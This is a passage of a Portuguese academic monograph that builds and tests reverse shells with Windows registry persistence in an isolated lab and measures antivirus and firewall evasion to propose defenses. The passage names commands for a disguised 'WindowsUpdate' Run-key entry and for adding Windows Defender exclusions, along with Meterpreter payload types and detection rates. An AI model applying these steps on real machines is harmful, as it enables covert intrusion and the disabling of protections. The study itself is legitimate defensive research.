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Resumo

O reverse shell é uma técnica em que a maquina comprometida inicia uma conexao de volta
ao atacante, concedendo-lhe controle remoto e contornando firewalls que filtram apenas
conexoes de entrada. Por sua simplicidade e eficacia, é amplamente empregada tanto
em testes de penetracao quanto em ataques reais, o que torna essencial compreendé-la
para a construcao de defesas eficazes. Este trabalho teve como objetivo implementar e
avaliar, em ambiente controlado, técnicas de reverse shell com persisténcia, analisando sua
capacidade de evasao frente a antivirus e firewalls e propondo estratégias de mitigacao
com base nos resultados. Quanto a metodologia, de natureza experimental e aplicada,
construiu-se um laboratério isolado com maquinas virtuais (atacante em Kali Linux e
vitima em Windows); implementou-se um reverse shell préprio em Python, com persis-
téncia via chave de registro de auto-inicio; geraram-se payloads de comparagao com a
ferramenta msfvenom/Meterpreter; e submeteu-se cada artefato a uma bateria padronizada
de medigoes, avaliando a detecgdo por antivirus (Windows Defender, em tempo real, e
VirusTotal, estético e multi-mecanismo), o comportamento do firewall, a persisténcia ap6s
a reinicializagdo e as caracteristicas do trafego de rede. Os resultados indicam a fragilidade
da deteccao baseada em assinatura frente a artefatos personalizados (o shell em Python
evadiu a maioria dos antivirus, embora essa evasao tenha se mostrado temporal), a eficicia
da filtragem das conexoes de saida e o potencial da andlise comportamental do trafego para
a deteccdo, inclusive de trafego cifrado. Com base nesses achados, propoe-se um conjunto
de estratégias de mitigagao em camadas, contribuindo para um melhor entendimento da

técnica e para o aprimoramento das defesas.

Palavras-chave: reverse shell. seguranca da informacgao. evasao de antivirus. persisténcia.

mitigacao.



Abstract

A reverse shell is a technique in which the compromised machine initiates a connection
back to the attacker, granting remote control and bypassing firewalls that filter only
inbound connections. Due to its simplicity and effectiveness, it is widely used both
in penetration testing and in real attacks, which makes understanding it essential to
building effective defenses. This work aimed to implement and evaluate, in a controlled
environment, reverse shell techniques with persistence, analyzing their evasion capability
against antivirus software and firewalls and proposing mitigation strategies based on
the results. The experimental methodology consisted of building an isolated laboratory
with virtual machines (a Kali Linux attacker and a Windows victim), implementing
a Python reverse shell with persistence via an autostart registry run key, generating
comparison payloads with the msfvenom/Meterpreter tool, and submitting each payload
to a standardized battery of tests, measuring antivirus detection (Windows Defender, in
real time, and VirusTotal, static and multi-engine), firewall behavior, persistence after
reboot, and the characteristics of the network traffic. The results confirm the weakness
of signature-based detection against modified payloads, the importance of outbound
connection filtering, and the potential of behavioral traffic analysis for detection. Based on
these findings, a set of layered mitigation strategies is proposed, contributing to a better

understanding of the technique and to the improvement of defenses.

Key-words: reverse shell. information security. antivirus evasion. persistence. mitigation.
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1 Introducao

A seguranca de redes e sistemas tornou-se um desafio crescente diante da sofis-
ticacdo das técnicas empregadas por atacantes. Entre elas, o reverse shell destaca-se
por sua simplicidade e eficacia: trata-se de um mecanismo em que a propria maquina
comprometida inicia uma conexao de volta ao atacante, concedendo-lhe controle remoto
sobre o sistema. Como a conexao parte de dentro da rede da vitima, ela frequentemente

atravessa firewalls e outras protegoes tradicionais, que costumam filtrar apenas conexoes

de entrada (MANGLANT et al., 2021; PANWAR et al., 2023).

Embora seja amplamente utilizado de modo legitimo em testes de penetragao, o
reverse shell também representa uma ameaca séria em ambientes mal protegidos. Agravando
o cenario, atacantes conseguem modificar os payloads de modo a evadir a detecgdo por
antivirus baseados em assinatura. Panwar et al. (2023) indicam que uma variante modificada
de um payload Meterpreter teve sua taxa de deteccao reduzida em mais de 99% no servico
VirusTotal. Esse contexto reforca a necessidade de compreender a fundo a dinamica da

técnica para que se possam construir defesas eficazes.

1.1 Problema de pesquisa

O desconhecimento, por parte de muitos profissionais, sobre o funcionamento do
reverse shell e sobre métodos de defesa eficazes contribui para sua disseminacao em ataques
reais. Diante disso, formula-se a seguinte questao de pesquisa: como o reverse shell, aplicado
com técnica de persisténcia, se comporta frente a mecanismos de seguranca como antivirus

e firewalls, e quais estratégias de mitigacao sao mais eficazes contra ele?

1.2 Objetivos

O objetivo geral deste trabalho é implementar e avaliar, em ambiente controlado,
técnicas de reverse shell, analisando sua capacidade de evasao frente a mecanismos de
seguranga como antivirus e firewalls, bem como propor estratégias de mitigacao baseadas

nos resultados obtidos.

De modo especifico, o trabalho busca:

o Implementar um reverse shell em Python e aplicar a técnica de persisténcia em uma

maquina Windows;
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o Gerar payloads reais com a ferramenta msfvenom/Meterpreter como linha de base

de comparacao;

 Avaliar a reagao dos antivirus (Windows Defender, em tempo real, e o VirusTotal,

estatico e multi-mecanismo) e do firewall aos payloads;
o Capturar e analisar o trafego de rede gerado pela técnica;

o Propor estratégias de mitigacdo fundamentadas nos resultados experimentais.

1.3 Justificativa

Compreender o reverse shell sob a perspectiva tanto ofensiva quanto defensiva é
essencial para a protecao de sistemas. Ao reproduzir a técnica em ambiente controlado
e medir empiricamente como as defesas reagem, este trabalho contribui para um melhor
entendimento da ameaga e para a construcao de estratégias de defesa mais eficazes. A
relevancia do tema é reforgada pela atencao que ele recebe na literatura recente (PANWAR
et al., 2023; MANGLANT et al., 2021; LIU et al., 2023) e pela frequéncia com que a técnica

aparece em incidentes reais, na etapa de comando e controle do ciclo de ataque.

1.4 Metodologia

Quanto a abordagem, esta pesquisa classifica-se como experimental e aplicada, de
natureza predominantemente quantitativa. A técnica é reproduzida em ambiente controlado,
e a reacao dos mecanismos de defesa é medida de maneira empirica. Os principais passos

metodologicos sao os seguintes:
1. construir um laboratorio isolado com maquinas virtuais, tendo o Kali Linux como
atacante e o Windows como vitima;
2. implementar um reverse shell préprio em Python e aplicar a técnica de persisténcia;

3. gerar trés payloads de comparagao com o msfvenom, totalizando quatro artefatos

avaliados;

4. submeter cada artefato a uma mesma bateria padronizada de medigoes, contemplando
a detecgao estatica no VirusTotal, a deteccao em tempo real pelo Windows Defender,
a conexao, o comportamento do firewall, a persisténcia e as caracteristicas do trafego

de rede;

5. analisar os resultados e, com base neles, propor estratégias de mitigacao.
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O detalhamento do protocolo, incluindo o niimero de medicoes e a reavaliacao
da detecgao estatica em duas datas, encontra-se no Capitulo 3. Ressalta-se que todos
os experimentos respeitam rigidos limites éticos e legais, conduzidos exclusivamente em

ambiente isolado e sobre maquinas do préprio autor (Segao 3.1).

1.5 Organizacao do trabalho

O restante deste trabalho esta organizado do seguinte modo. O Capitulo 2 apresenta
o referencial tedrico e os trabalhos relacionados. O Capitulo 3 descreve os materiais e
métodos, incluindo o laboratorio, a implementacao e o protocolo de testes. O Capitulo 4
apresenta e discute os resultados obtidos. Por fim, o Capitulo 5 consolida as estratégias de

mitigagdo propostas, as contribuicoes, as limitagoes e os trabalhos futuros.
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?2 Referencial Tedrico

Este capitulo apresenta os fundamentos tedricos necessarios a compreensao do
trabalho e discute os trabalhos correlatos. Inicia-se com o modelo de ataque que situa o
reverse shell no ciclo de uma invasao, seguido dos conceitos de redes e firewalls, dos tipos
de shell e shellcode, das ferramentas ofensivas empregadas, da técnica de persisténcia, dos
mecanismos de defesa (antivirus e sistemas de detec¢ao de intrusao) e, por fim, de uma

andlise comparativa dos trabalhos relacionados.

2.1 O ciclo de um ataque cibernético

Ataques cibernéticos sofisticados raramente se resumem a uma 1nica agao; costu-
mam seguir uma sequéncia de etapas. O modelo Cyber Kill Chain, proposto pela Lockheed
Martin (HUTCHINS; CLOPPERT; AMIN, 2011), descreve essas fases: reconhecimento,
armamento, entrega, exploracgao, instalagdo, comando e controle (Command and Con-
trol (C2)) e agoes sobre o objetivo. Nesse modelo, o reverse shell ocupa uma posigao central:
é a ultima etapa da exploragao e a primeira da pés-exploracao, pois é por meio dele que o
atacante estabelece o canal de C2 e passa a executar comandos no sistema comprometido
(LIU et al., 2023). Compreender essa posigao é importante porque a defesa pode atuar em
qualquer elo da cadeia: bloquear a entrega do payload, impedir sua execugao, ou detectar

e interromper o canal de comunicacao ja estabelecido.

2.2 Redes TCP/IP e firewalls

A comunicacao entre o sistema comprometido e o atacante apoia-se na pilha de
protocolos TCP/IP (TANENBAUM; WETHERALL, 2011). O Transmission Control
Protocol (TCP) estabelece conexdes confidveis e orientadas a fluxo por meio do three-way
handshake (SYN, SYN-ACK, ACK), sobre o qual trafegam os comandos e respostas do
shell.

O firewall é o mecanismo que filtra esse trafego segundo regras de politica. Um
ponto essencial para este trabalho é a distin¢ao entre regras de entrada e de saida. Tradici-
onalmente, as organizagoes configuram cuidadosamente as regras de entrada, bloqueando
conexoes nao solicitadas vindas de fora, mas negligenciam as regras de saida, permitindo
que a maioria das conexoes iniciadas internamente saia livremente (MANGLANTI et al.,
2021). E justamente essa assimetria que o reverse shell explora, como detalhado na
Secao 2.4.
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2.3 Shell, shellcode e suas categorias

Em seguranca ofensiva, shellcode é um pequeno fragmento de cédigo que, ao ser
executado na méaquina-alvo, inicia um interpretador de comandos (shell) sob controle
do atacante, frequentemente utilizado como payload de um exploit (MANGLANT et al.,
2021). O shellcode pode ser local (quando o atacante ja tem acesso limitado e busca elevar
privilégios) ou remoto (quando o acesso se da pela rede). O shellcode remoto, por sua vez,

classifica-se conforme o modo de estabelecimento da conexao:

e Bind shell: a vitima abre (bind) uma porta e aguarda; o atacante conecta-se a ela.

E facilmente bloqueado por firewalls de entrada.

e Rewverse shell: a vitima é quem inicia a conexao de volta ao atacante; contorna os

firewalls de entrada.

o Socket-reuse shell: reutiliza uma conexao ja estabelecida por um processo vulne-
ravel, dificultando ainda mais a detecgao (MANGLANTI et al., 2021).

2.4 Reverse shell: funcionamento e vantagens para o atacante

No reverse shell, a maquina comprometida estabelece a conexao de saida em direcao
ao atacante e, a partir dai, recebe e executa comandos, devolvendo a saida pela mesma
conexao. Como a requisicao parte de dentro da rede, os sistemas de protecao tendem a
trata-la como legitima (MANGLANTI et al., 2021). Panwar et al. (2023) destacam trés
vantagens dessa técnica para o atacante: (i) a capacidade de contornar firewalls que
bloqueiam conexoes de entrada; (ii) o acesso remoto pleno ao sistema, permitindo copiar
arquivos, executar comandos e monitorar a maquina; e (iii) a furtividade, pela possibilidade
de manter uma conexao encoberta e até cifrada, dificultando a detec¢ao. Implementacoes
em Python, como a de Manglani et al. (2021), ganham flexibilidade adicional pela riqueza
das bibliotecas da linguagem, que permitem manipular sockets, processos e o sistema de
arquivos com facilidade, além de funcionalidades de upload/download e suporte a multiplas

vitimas via threading.

2.5 Metasploit, msfvenom e Meterpreter

O Metasploit Framework (Rapid7, 2026; KENNEDY et al., 2011) é a plataforma
de testes de penetragdao mais difundida, reunindo exploits, payloads e ferramentas de
pés-exploracao. O utilitdrio msfvenom gera payloads em diversos formatos (por exem-
plo, um executavel para Windows), parametrizados pelo enderego e porta de retorno
(LHOST/LPORT). Entre os payloads disponiveis destaca-se o Meterpreter, um shell avan-

cado, carregado em memoria e entregue em estagios, que oferece um amplo conjunto
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de comandos de pés-exploragdo (KENNEDY et al., 2011). Do lado do atacante, o mé-
dulo exploit/multi/handler atua como servidor que recebe as conexdes reversas. Essas

ferramentas constituem a linha de base deste trabalho para a comparacao de evasao.

2.6 Persisténcia

Persisténcia ¢ a capacidade de o acesso continuar funcionando, mesmo apds a
reinicializacao do sistema. No Windows, uma técnica classica, catalogada como T1547.001
no framework MITRE ATT&CK (MITRE, 2024a), consiste em registrar o programa
malicioso em uma chave de auto-inicio (Registry Run Key) ou na pasta de inicializagao,
de modo que ele seja executado automaticamente a cada logon. Manglani et al. (2021)
implementam exatamente essa técnica: apds a primeira execucao, o shell copia-se para
uma pasta do usudrio e cria a chave de registro, passando a reconectar-se ao atacante
sempre que a vitima é iniciada, sem o conhecimento do usuéario. A execugao de comandos
do interpretador no Windows associa-se, ainda, a técnica T1059.003 ( Windows Command
Shell) do mesmo framework (MITRE, 2024b).

2.7 Mecanismos de defesa

2.7.1 Antivirus: deteccao por assinatura versus comportamento

Os antivirus (AV) tradicionais baseiam-se em assinaturas: comparam os arquivos
com um banco de padroes conhecidos de malware. Essa abordagem ¢é eficaz contra ameacas
catalogadas, mas falha diante de artefatos modificados. Panwar et al. (2023) ilustram
empiricamente essa fragilidade: um executavel Meterpreter padrao foi sinalizado como
malicioso por 50 de 69 mecanismos no VirusTotal, enquanto a versao modificada com a
técnica de stager (na qual o shellcode é baixado da rede diretamente para a meméria, sem
tocar o disco) foi detectada por apenas um mecanismo, uma queda superior a 99%. Esse
resultado ilustra a limitagao da deteccao por assinatura e motiva o uso de abordagens
baseadas em comportamento, como os sistemas de Endpoint Detection and Response (EDR),
que monitoram agoes suspeitas (por exemplo, escrita em chaves de auto-inicio ou injegao

em memoria) em vez de padroes estéticos.

2.7.2 Sistemas de deteccdo de intrusao

Os Intrusion Detection System (IDS) e, em particular, os Network Intrusion Detec-
tion System (NIDS) monitoram a rede em busca de atividades maliciosas. Como o reverse
shell pode cifrar sua comunicacao, a inspecao de conteiido por assinatura torna-se ineficaz.
Diante disso, surgem abordagens baseadas em comportamento de trafego. Liu et al. (2023)

propoem o ETDetector, que detecta o trafego de reverse shell, mesmo cifrado, a partir de



Capitulo 2. Referencial Teorico 20

trés caracteristicas: a sequéncia de atraso entre pacotes (o thought time, isto é, o tempo
que o atacante leva para decidir o préximo comando), a diregdo dos pacotes e o tamanho
da carga util. Em uma linha complementar, Nikhil, Chadha e Shanmugam (2023) propdem
uma estratégia de detecgao de reverse shell apoiada na plataforma Security Onion. Ambos
os trabalhos reforcam que a defesa eficaz contra reverse shell depende menos de assinaturas

e mais da andlise de comportamento de rede e de host.

2.8 Trabalhos relacionados

Trés trabalhos fundamentam diretamente esta pesquisa. Panwar et al. (2023)
centram-se na evasao de antivirus: implementam um reverse shell no Windows com
msfvenom/Meterpreter e ilustram, via VirusTotal, a dréastica reducao de detecgao obtida
pela técnica de stager, além de discutir medidas de seguranca (firewall, IDS e segmenta-
¢ao de rede). Manglani et al. (2021) concentram-se na implementagao em Python e na
persisténcia, detalhando um shell com threading, transferéncia de arquivos e persisténcia
via registro, bem como técnicas de prevenc¢ao (monitoramento de trafego, honeypots e
regras de saida em firewalls). Liu et al. (2023) abordam o problema sob a dtica defensiva,

propondo a detec¢do comportamental do trafego, inclusive cifrado.

A Tabela 1 sintetiza o foco de cada trabalho. A presente monografia diferencia-se
por integrar as trés perspectivas em um unico estudo experimental: implementa e aplica a
técnica com persisténcia, avalia a evasao frente a antivirus e firewalls, analisa o trafego

gerado e, a partir desses resultados, propoe um conjunto consolidado de estratégias de

mitigagao.
Tabela 1 — Sintese comparativa dos trabalhos relacionados.
Trabalho Foco principal Abordagem
Panwar et al. (2023) Evasao de antivirus msfvenom + stager
Manglani et al. (2021) Implementagdo e persisténcia Shell em Python
Liu et al. (2023) Deteccao de trafego Aprendizado de miquina
Este trabalho Ataque + avaliacdo + mitigacdo Experimental integrado

Fonte: elaborado pelo autor.

2.9 Consideracoes finais

Este capitulo apresentou os fundamentos teéricos que sustentam o trabalho: o
posicionamento do reverse shell no ciclo de um ataque, os conceitos de redes e firewalls, os
tipos de shell e shellcode, as ferramentas ofensivas empregadas, a técnica de persisténcia
e os mecanismos de defesa baseados em assinatura e em comportamento. Discutiram-
se, ainda, os trés trabalhos que embasam diretamente a pesquisa e o modo como esta

monografia se diferencia deles, ao integrar ataque, avaliagdo e mitigagdo em um tnico
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estudo. Estabelecida essa base conceitual, o proximo capitulo descreve os materiais e os

procedimentos metodolégicos adotados para implementar e avaliar a técnica em ambiente

controlado.
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3 Materiais e Métodos

Este capitulo descreve os materiais e os procedimentos metodologicos adotados
para implementar e avaliar técnicas de reverse shell em ambiente controlado. A pesquisa
caracteriza-se como experimental e de natureza aplicada: constréi-se um laboratoério isolado,
implementa-se a técnica, executam-se testes com diferentes payloads e mede-se a reacao
de mecanismos de defesa, de modo a subsidiar a proposta de mitigagoes apresentada no
Capitulo 5. A abordagem segue, em linhas gerais, o procedimento experimental descrito
por Panwar et al. (2023) para a avaliagdo de evasdo de antivirus e por Manglani et al.

(2021) para a implementagao do shell em Python.

3.1 Consideracdes éticas e legais

Todos os experimentos foram conduzidos exclusivamente em maquinas virtuais de
propriedade do autor, em uma rede laboratorial isolada, sem qualquer acesso a internet ou
a redes de terceiros. Nenhum sistema real ou alheio foi alvo dos testes. Essa contengao é
condigao essencial da pesquisa, dado que o uso nao autorizado das técnicas aqui estudadas
configura crime no Brasil, nos termos da Lei n® 12.737/2012 (invasdo de dispositivo
informético) e do Marco Civil da Internet (Lei n® 12.965/2014). O objetivo do trabalho é
estritamente defensivo: compreender o funcionamento da técnica para propor estratégias de
detecgao e mitigacao. Ressalta-se, ainda, que os arquivos submetidos ao servico AV on-line
VirusTotal tornam-se publicos e sao compartilhados com os fornecedores de antivirus, fato

considerado nas limitagoes do método (Segao 3.8).

3.2 Ambiente de laboratodrio

O ambiente foi construido sobre o hipervisor VirtualBox, com duas méaquinas
virtuais conectadas por um adaptador de rede interna (sem bridge nem Network Address
Translation (NAT)), garantindo isolamento total. A topologia é apresentada na Figura 1 e

resumida na Tabela 2.

Tabela 2 — Maquinas virtuais do laboratorio.

Papel Sistema Endereco Internet Protocol (IP)
Atacante Kali Linux 192.168.56.10
Vitima  Windows 10/11 (64 bits) 192.168.56.20

Fonte: elaborado pelo autor.

A méquina virtual (VM) atacante executa o Kali Linux (Offensive Security, 2026),

que redne as ferramentas ofensivas utilizadas: o framework Metasploit (Rapid7, 2026) e
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Figura 1 — Topologia do laboratério isolado.

Atacante: Kali Linux reverse shell Vitima: Windows
192.168.56.10 - TCP 4444 | 192.168.56.20
Metasploit/msfvenom, - | Defender + firewall,
Apache, Python, WiresharkJ L Python, Pylnstaller

Rede interna isolada (sem internet)

Fonte: elaborado pelo autor.

seu gerador de payloads msfvenom, o servidor HT'TP Apache (para hospedar o stager) e o
interpretador Python 3. A VM vitima executa o Windows com o Windows Defender e
o firewall nativo ativos em sua configuracao padrao, cenario que se deseja avaliar. Nela
também sao instalados o Python 3 e o Pylnstaller, para empacotamento do shell proprio.

A captura de trafego é feita com o Wireshark (Wireshark Foundation, 2026) e o tcpdump.

A escolha do Windows como sistema da vitima justifica-se por dois motivos
principais. Em primeiro lugar, trata-se do sistema operacional desktop mais utilizado
e, por consequéncia, o mais visado por atacantes, o que torna o cenario representativo.
Em segundo lugar, a técnica de persisténcia avaliada (chave de auto-inicio no registro) é
especifica desse sistema. Soma-se a isso o fato de os trabalhos que embasam a pesquisa
(PANWAR et al., 2023; MANGLANTI et al., 2021) também adotarem o Windows. A
avaliacao da portabilidade do cliente para outros sistemas operacionais, como distribuigoes

Linux, é apontada como trabalho futuro (Capitulo 5).

A avaliacdo de antivirus combina duas perspectivas complementares: a detec¢ao
estatica multi-mecanismo, pelo servico VirusTotal (Google, 2026), que submete cada
payload a dezenas de mecanismos de mercado; e a detecgdo em tempo real pelo Windows
Defender, antivirus nativo e mais difundido no Windows, executado na propria vitima. Para
assegurar a reprodutibilidade e a comparabilidade dos resultados, criou-se um snapshot

“limpo” da vitima, restaurado entre as execugoes.

Cabe registrar que a porta TCP 4444, utilizada nas conexdes, é a porta padrao do
Metasploit e foi mantida apenas para padronizar as comparacoes. Como a porta de retorno
¢é definida pelo proprio atacante, poderia ser qualquer outro valor. Essa caracteristica
reforca que a defesa baseada apenas no bloqueio de portas especificas é insuficiente,

tornando necessaria a filtragem das conexoes de saida, discutida no Capitulo 5.

3.3 Implementacao do reverse shell em Python

A primeira contribuigao pratica consiste em um reverse shell proprio, implementado
em Python e inspirado no modelo de Manglani et al. (2021). A escolha do Python deve-se

a sua ampla biblioteca padrao, que permite controlar sockets, processos e o sistema de
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arquivos com poucas linhas de codigo.

A arquitetura segue o modelo cliente—servidor invertido: diferentemente de um
bind shell, em que o atacante conecta-se a uma porta aberta na vitima, no reverse shell
¢é a propria vitima que inicia a conexao de volta ao atacante. Como a requisi¢cao parte
de dentro da rede da vitima, ela é frequentemente tratada como legitima e atravessa
firewalls que filtram apenas conexoes de entrada (PANWAR et al., 2023). O lado atacante
é um servidor multithread que aceita multiplas vitimas, mantém uma lista de conexoes e
permite interagir com uma de cada vez, além de transferir arquivos (upload/download).

Comandos e respostas trafegam codificados em base64.

O lado vitima executa um lago de receber comando — executar localmente (via
subprocess ou pela biblioteca os, no caso de comandos como cd) — devolver a saida. Os
coddigos-fonte do servidor e do cliente, bem como a especificagdo completa do protocolo,

encontram-se no Apéndice A.3.

3.4 Persisténcia

Para que o acesso sobreviva a reinicializagao da vitima, aplica-se a técnica de
persisténcia descrita por Manglani et al. (2021), que corresponde a técnica T1547.001
(Boot or Logon Autostart Ezecution: Registry Run Keys / Startup Folder) do MITRE
ATT&CK (MITRE, 2024a). O procedimento consiste em copiar o executavel para uma
pasta do usuario (%APPDATAY ou %TEMPY,) e registrar seu caminho em uma chave de auto-
inicio do Windows, como HKCU\Software\Microsoft\Windows\CurrentVersion\Run, de
modo que o programa seja executado a cada logon. Na pratica, a chave foi criada pela
prépria sessao obtida: no shell Python, com o comando reg add (valor WindowsUpdate
apontando para cliente.exe); na sessao Meterpreter, com o comando reg setval apds
enviar o arquivo para %TEMPY, via upload. A persisténcia foi verificada reiniciando a vitima

e confirmando a reconexao automatica.

3.5 Geracao dos payloads e cenario de evasao

Para avaliar a capacidade de evasado frente aos antivirus, além do shell préprio
em Python, foram gerados payloads de comparagao com a ferramenta padrao msfvenom
(Rapid7, 2026; KENNEDY et al., 2011), reproduzindo a metodologia de Panwar et al.
(2023). Foram considerados quatro cenarios, do mais detectavel ao menos detectavel, cujos

comandos exatos de geracao constam do Apéndice A.3:

1. Python (.exe): o shell préprio empacotado com PylInstaller;
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2. Meterpreter raw: payload windows/x64/meterpreter/reverse_tcp sem ofusca-

¢ao (linha de base);

3. Meterpreter codificado: o mesmo payload processado por um encoder (x64/xor,

em algumas iteragoes);

4. Stager: o shellcode é gerado separadamente e hospedado em um servidor HT'TP
no atacante. Segundo Panwar et al. (2023), essa técnica reduz drasticamente a
detecgdo quando acompanhada de um carregador personalizado (sem assinatura
conhecida) que baixa o shellcode para a memoria. Neste trabalho utilizou-se o stub
padrao do Metasploit (executavel stager.exe), o que, como mostram os resultados
(Capitulo 4), mantém a assinatura reconhecida do framework; a construgdo de um

carregador préprio é tratada como trabalho futuro.

Cabe um registro metodologico importante: todos os payloads Meterpreter fo-
ram bloqueados pelo Windows Defender ja no momento do download. Para que fosse
possivel avaliar, de modo isolado, as demais dimensdes (conexao, firewall e persistén-
cia) desses payloads, foi criada uma excegdo temporaria no Defender para a pasta de
testes (Add-MpPreference -ExclusionPath "C:\Testes"), removida ao final de cada
teste (Remove-MpPreference). Essa exce¢do nao se aplicou ao shell Python, que nao foi
detectado pelo Defender. A distingao é relevante: a detecgdo em tempo real (Segao 4.2)
reflete o comportamento sem a exce¢ao; as medicoes de conexao e persisténcia dos payloads

Meterpreter foram obtidas com a excecao ativa, apenas para estudar esses fenémenos.

3.6 Protocolo de testes e coleta de dados

Cada payload foi submetido a um conjunto padronizado de medigoes, registradas

em planilha (Tabela 3), sempre a partir do snapshot limpo da vitima:
1. Detecgao estatica: submissdo ao VirusTotal (Google, 2026), registrando a razao
de mecanismos que detectam o arquivo (detecgoes/total) e a data;

2. Detecgao em tempo real: reagio do Windows Defender (bloqueio, quarentena ou

execugao permitida);
3. Execucao: verificacdo de que a conexao é estabelecida e o shell é funcional;

4. Firewall: comportamento com a politica de saida padrao e com uma regra de saida

restritiva, para ilustrar o papel da filtragem de saida;

5. Persisténcia: reinicializacdo da vitima e verificacdo da reconexao automatica, com

inspecao da chave de registro de auto-inicio;
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6. Trafego: captura em arquivo .pcap para andlise posterior.

Tabela 3 — Dimensoes avaliadas para cada payload.

Dimensao Métrica registrada

Detecgao estatica detecgoes/total no VirusTotal + data

Detecgao em tempo real bloqueia / quarentena / executa

Execugao conexao estabelecida (sim/nao)

Firewall conecta com saida padrao / restrita

Persisténcia reconecta apds reboot (sim/nao)

Trafego atraso entre pacotes (média, mediana, max.) e n° de pacotes

Fonte: elaborado pelo autor.

As dimensoes medidas no préprio laboratoério (detecgdo em tempo real pelo Defender,
conexao, firewall e persisténcia) foram avaliadas uma vez por payload, a partir do mesmo
snapshot limpo, por serem resultados binarios e reprodutiveis (bloqueia ou nao; conecta
ou nao). Ja a deteccao estatica no VirusTotal, por depender de assinaturas que evoluem
no tempo, foi medida em duas datas (17/06 e 16/07/2026), justamente para captar
essa variacdo temporal. Pequenas diferencas entre reandlises préximas (por exemplo,
39 e 40 de 69 mecanismos em duas execugoes consecutivas do payload Python) devem-
se a disponibilidade e a timeouts de mecanismos, e nao a mudanca no arquivo. As
estatisticas descritivas (média, mediana e nimero de amostras) aplicam-se a analise do
trafego (Segao 3.7), em que cada sessao fornece dezenas de amostras de atraso entre

pacotes.

3.7 Analise do trafego de rede

A etapa de detecgao em rede operacionaliza o conceito proposto por Liu et al.
(2023), cujo método ETDetector identifica o trafego de reverse shell, inclusive criptografado,
a partir de caracteristicas de comportamento, e nao de assinaturas. Para cada captura,
um script em Python reconstréi as sessoes TCP e extrai trés sequéncias: o atraso entre
pacotes (o thought time, ou tempo de reflexdo do atacante entre comandos), a dire¢ao dos
pacotes e o tamanho da carga util. A partir da sequéncia de atraso, calculam-se estatisticas
descritivas por sessdo: média, mediana, maximo e nimero de pacotes véalidos. O intervalo
relativamente longo entre o pacote que carrega um comando e o seguinte é, segundo
Liu et al. (2023), um indicador robusto da interagdo humana caracteristica do reverse
shell. Os resultados dessa analise embasam as recomendacoes de deteccao comportamental

discutidas no Capitulo 5.
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3.8 Limitacoes do método

As taxas de detecgao por antivirus dependem da data e da versao das assinaturas,
de modo que os ntmeros obtidos representam um retrato temporal e nao um resultado
permanente; por isso, registrou-se a data de cada medi¢ao. A submissao ao VirusTotal expoe
publicamente as amostras, podendo acelerar a criagao de assinaturas pelos fornecedores,
efeito observado empiricamente neste trabalho, em que a deteccao do payload Python
subiu de 12/70 para 40/69 em cerca de um més (Segao 4.1). Por fim, o ambiente é uma
rede local isolada, o que nao reproduz integralmente as condi¢oes de uma rede corporativa
real (proxies, segmentacao, NIDS), embora seja suficiente para isolar e medir os fenémenos

de interesse.

3.9 Consideracdes finais

Este capitulo descreveu o ambiente de laboratoério, a implementagao do reverse shell
proprio em Python, a técnica de persisténcia, a geracao dos payloads de comparagao com o
msfvenom e o protocolo padronizado de medicoes, além das limitagoes do método. Definiu-
se, assim, o instrumental e os procedimentos que tornam o experimento reprodutivel e
comparavel. O proximo capitulo apresenta e discute os resultados obtidos com a execucao

desse protocolo, organizados pelas dimensoes avaliadas.
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4 Resultados e Discussao

Este capitulo apresenta e discute os resultados obtidos com a execucao do pro-
tocolo descrito no Capitulo 3. Os testes foram realizados em 17 de junho de 2026, no
laboratorio isolado, sobre quatro payloads: o Meterpreter raw, o Meterpreter codificado, o
Meterpreter stager e o reverse shell préprio em Python (este tltimo também na variante
com persisténcia). A detecgao estética no VirusTotal foi ainda reavaliada em 16 de julho de
2026, para observar sua variacao temporal. Os resultados sao organizados pelas dimensoes
avaliadas: deteccao estatica por antivirus, deteccao em tempo real, comportamento do

firewall, persisténcia e caracteristicas do trafego de rede.

4.1 Deteccdo estatica por antivirus (VirusTotal)

A Tabela 4 apresenta a taxa de detecgao de cada payload submetido ao VirusTotal
(Google, 2026). Essa métrica é expressa como a razao entre o nimero de mecanismos que
sinalizaram o arquivo como malicioso e o total de mecanismos consultados. Quanto maior
essa razao, maior a deteccao do artefato e, por consequéncia, menor a sua capacidade
de evasao; valores baixos indicam que o arquivo passou despercebido pela maioria dos

antivirus.

Tabela 4 — Detecgao estatica dos payloads no VirusTotal em duas datas.

Payload 17/06/2026 16/07/2026
Meterpreter raw 42/69 56/70
Meterpreter codificado 37/59 56/70
Meterpreter stager 43/70 57/70
Python (.exe) 12/70 40/69

Valores em detecgdes/total de mecanismos. Duas reandlises consecutivas do payload Python retornaram
39/69 e 40/69, ilustrando a pequena variacao entre execugoes (por indisponibilidade ou timeout de
mecanismos). Fonte: dados da pesquisa.

Na primeira medicao, os trés payloads gerados com msfvenom apresentaram alta
detecgao (entre 37/59 e 43/70), todos sob rétulos da familia do shellcode reverso TCP do
Metasploit. A variante codificada (37/59) nao obteve evasao relevante em relagao a raw
(42/69). O Windows Defender, por exemplo, atribuiu a mesma assinatura aos dois arquivos
(Secao 4.2), o que confirma a observacao de Panwar et al. (2023) de que encoders modernos
servem mais a compatibilidade do que a evasao. Ja o reverse shell préprio em Python
teve a menor detec¢ao de todas (apenas 12/70): por ndo conter o shellcode Meterpreter

reconhecido pelas assinaturas, evadiu a maioria dos mecanismos.

Um més depois, a mesma bateria foi resubmetida ao VirusTotal e a deteccao
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aumentou para todos os payloads: os artefatos msfvenom passaram para 56-57/70 e o
Python subiu de 12/70 para 40/69. Esse aumento é coerente com o carater temporal da
detecgao por assinatura. Como as amostras submetidas ao VirusTotal tornam-se publicas e
sao compartilhadas com os fornecedores (limitagao discutida na Segao 3.8), os mecanismos
tiveram tempo de gerar assinaturas, efeito mais acentuado justamente sobre o artefato
inicialmente novo, o Python. Ainda assim, mesmo um més depois, o Python permaneceu
o menos detectado de todos (40/69 contra 56-57/70), o que preserva a conclusao central:
um artefato personalizado evade melhor a deteccao por assinatura do que as ferramentas
prontas e amplamente catalogadas. O que essa segunda medi¢ao acrescenta é que tal
evasao é temporaria, argumento adicional a favor da detecgdo baseada em comportamento,

e nao em assinatura, discutida no Capitulo 5.

4.2 Deteccao em tempo real e execucao

A Tabela 5 resume a reagao do Windows Defender em tempo real e o resultado da
execucao de cada payload na vitima, incluindo a conexao, a persisténcia e o comportamento

do firewall.

Tabela 5 — Comportamento em tempo real, execucao, persisténcia e firewall.

Payload Windows Defender Conecta Persiste Firewall saida
(tempo real) (reboot)  (padrdo / restrita)
Meterpreter raw bloqueia (Zusy.NCD!MTB) nao — —
Meterpreter codificado  bloqueia (mesma assin.) nao — —
Meterpreter stager bloqueia (excecdo p/ testar) sim* parcial*  conecta / bloqueia
